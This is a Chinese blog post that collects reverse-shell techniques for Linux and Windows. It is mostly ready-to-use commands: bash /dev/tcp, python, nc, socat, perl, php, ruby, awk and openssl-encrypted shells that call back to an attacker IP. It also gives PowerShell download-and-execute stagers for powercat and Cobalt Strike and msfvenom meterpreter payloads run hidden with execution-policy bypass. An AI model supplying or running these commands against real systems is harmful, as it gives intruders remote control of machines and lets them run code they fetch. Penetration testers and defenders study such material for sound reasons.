Linux/Windows反弹shell
Posted 王小帥
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux/Windows反弹shell相关的知识,希望对你有一定的参考价值。
目录食用
Linux反弹shell
攻击机:192.168.41.142
靶机:192.168.41.138
bash反弹
Linux 反弹 shell 使用下面这条命令,该命令弹回来的shell是不可交互的,也就是比如 vim、passwd 命令不能用。
先在攻击机开启监听:nc -lvp 4444
然后在靶机反弹:bash -i >& /dev/tcp/192.168.41.142/4444 0>&1
命令原理:bash -i 是打开一个交互式的bash终端。/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。所以,不难理解,/dev/tcp/192.168.41.142/4444 这条命令是意思就是和192.168.41.142主机的4444端口建立一个socket连接。通过查阅资料,发现 >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中。加入 0>&1 的话,就可以接受用户的输入了, 0>&1 和 0<&1 也是一个意思。
bash -i >& /dev/tcp/192.168.41.142/4444 0>&1
bash -i >& /dev/tcp/192.168.41.142/4444 0<&1
bash -i $> /dev/tcp/192.168.41.142/4444 0>$1
bash -i $> /dev/tcp/192.168.41.142/4444 0<&1
攻击机:
ps查看进程,kill进程,杀死连接。
靶机:
注:使用什么样的用户反弹的 shell,还是当前用户的权限。
如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell (可以进行交互的shell) ,可以执行 passwd 命令 ,但是 vim命令还是用不了。
python -c 'import pty;pty.spawn("/bin/bash")'
加密bash反弹shell的流量
第一步,在vps上生成SSL证书的公钥/私钥对,执行以下命令,一路回车即可。
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步,在VPS监听反弹shell。
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
第三步,在目标上用openssl加密反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.41.142:4444 > /tmp/s;rm /tmp/s
靶机:
攻击机:
Python反弹
使用下面这条命令弹回来的shell也是不可交互的shell,即 vim 和 passwd 等命令用不了。
#利用python反弹一个bash类型的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击机:
注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell)
以上加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析,如下:
nc -nlvp 4444
参数讲解:
-n参数代表在建立连接之前不对主机进行dns解析
-l 监听 -v 显示详细信息 -p 指定端口
nc反弹
目标主机需要有nc工具。
攻击机监听:nc -lvp 4444
目标主机反弹:nc -e /bin/sh 192.168.41.142 4444
Telnet反弹
我们需要在控制端开启两个监听端口,一个负责输入命令,一个负责接收命令的返回结果。
攻击机:
nc -nvlp 1111 #输入命令
nc -nvlp 2222 #输出命令
目标主机:
telnet 192.168.41.142 1111| /bin/bash | telnet 192.168.41.142 2222
注意:这里靶机:192.168.41.141
1111输入命令。
2222接收命令。
socat反弹
(目标机需安装socat,是一个两个独立数据通道之间的双向数据传输的继电器,是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。)
攻击机:nc -nvlp 4444
目标主机:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.41.142:4444
其他命令反弹
Perl:
perl -e 'use Socket;$i="192.168.41.142";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php:
php -r '$sock=fsockopen("192.168.41.142",4444);exec("/bin/sh -i <&3>&3 2>&3");'
Ruby:
ruby -rsocket -e'f=TCPSocket.open("192.168.41.142",4444).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
Java:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.41.142/4444;cat <&5 2="" |="" while="" read="" line;="" do="" \\$line="">&5 >&5; done"] as String[]) p.waitFor()
exec:(phph的命令执行函数)
0<&196;exec 196<>/dev/tcp/192.168.41.142/4444; sh <&196 >&196 2>&196
awk反弹(Linux下的样式扫描与处理工具):
awk 'BEGIN{s="/inet/tcp/0/192.168.41.142/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
查看攻击机可以接收的反弹shell的形式:
whereis nc bash python php exec lua perl ruby
Windows反弹shell
攻击机:192.168.41.142
靶机:192.168.41.129
Powershell反弹nc shell
攻击机:nc -nlvp 4444
目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.41.142 -p 4444 -e cmd
powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.41.142 -p 4444 -e cmd.exe"
cmd窗口下利用Powershell反弹CobaltStrike shell
windows10经常性不能用。windows 2008R2以下百分百适用。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))" #后台运行
powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))"
使用MSF反弹shell
方法一:
在vps服务器上:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vps's ip lport=4444 -f psh-reflection >4444.ps1 #生成木马文件 4444.ps1
python -m SimpleHTTPServer 80 #开启web服务
#MSF监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost vps's ip
set lport 4444
exploit -j
靶机:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://vps's ip/4444.ps1');xx.ps1" #后台运行
或者
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://vps's ip/4444.ps1');xx.ps1"
方法二:
攻击机:
msfvenom -l payloads | grep 'cmd/windows/reverse' #使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse)
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.41.142 LPORT=4444 #使用msfvenom生成一个powershell类型的木马。
#开启监听
use exploit/multi/handler
show options
set LHOST 192.168.41.142
show options
run
靶机:
#目标机在cmd下执行生成的powershell脚本
参考链接:https://blog.csdn.net/weixin_44288604/article/details/111740527
以上是关于Linux/Windows反弹shell的主要内容,如果未能解决你的问题,请参考以下文章